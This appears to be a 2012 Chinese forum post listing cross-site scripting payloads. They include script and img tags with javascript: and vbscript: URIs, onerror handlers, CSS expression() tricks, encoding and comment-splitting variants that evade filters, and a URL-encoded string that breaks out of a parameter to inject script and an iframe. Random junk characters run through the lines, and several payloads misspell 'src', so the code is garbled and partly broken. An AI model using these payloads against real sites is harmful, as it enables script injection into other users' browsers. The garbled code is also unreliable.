<script>alert("跨站")</script> (最常用）
. N' W/ x9 X* @, F- H6 y+ d1 s<img scr=javascript:alert("跨站")></img>/ p7 _. l2 a2 g1 T
<img scr="javascript: alert(/跨站/)></img>
- O7 o* [4 z' R0 \( I- Q6 p# m, F<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）; ]! f% s! V# K$ b% J1 x! H
<img scr="#" onerror=alert(/跨站/)></img>+ {8 [$ @* j; k4 q; N) r! E& D
<img scr="#" style="xss:expression(alert(/xss/));"></img>6 C5 c: E! a/ w0 p& w8 M$ p
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）1 W. F# W, { d8 s! c
<img src=vbscript:msgbox ("xss")></img>
2 Z, ~. ^* u8 w8 T0 w<style> input {left:expression (alert('xss'))}</style>
# h! }. e3 R2 ^. C<div style={left:expression (alert('xss'))}></div>/ h, X9 P! y7 c ~3 ^1 t$ j9 f
<div style={left:exp/* */ression (alert('xss'))}></div>2 A3 W: B# o; Y( F6 b
<div style={left:\0065\0078ression (alert('xss'))}></div>
. v. o: V( _# v0 u; Ihtml 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>7 C1 E6 n/ Y8 O; \: y1 R
unicode <div style="{left:expRessioN (alert('xss'))}">
! V/ m( \, k- z8 Y ~: @1 w
! Q0 x# S- x3 J"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
8 d8 U% t$ N7 y0 n4 t j |
发表于 2012-9-15 14:09:13
收藏
支持
反对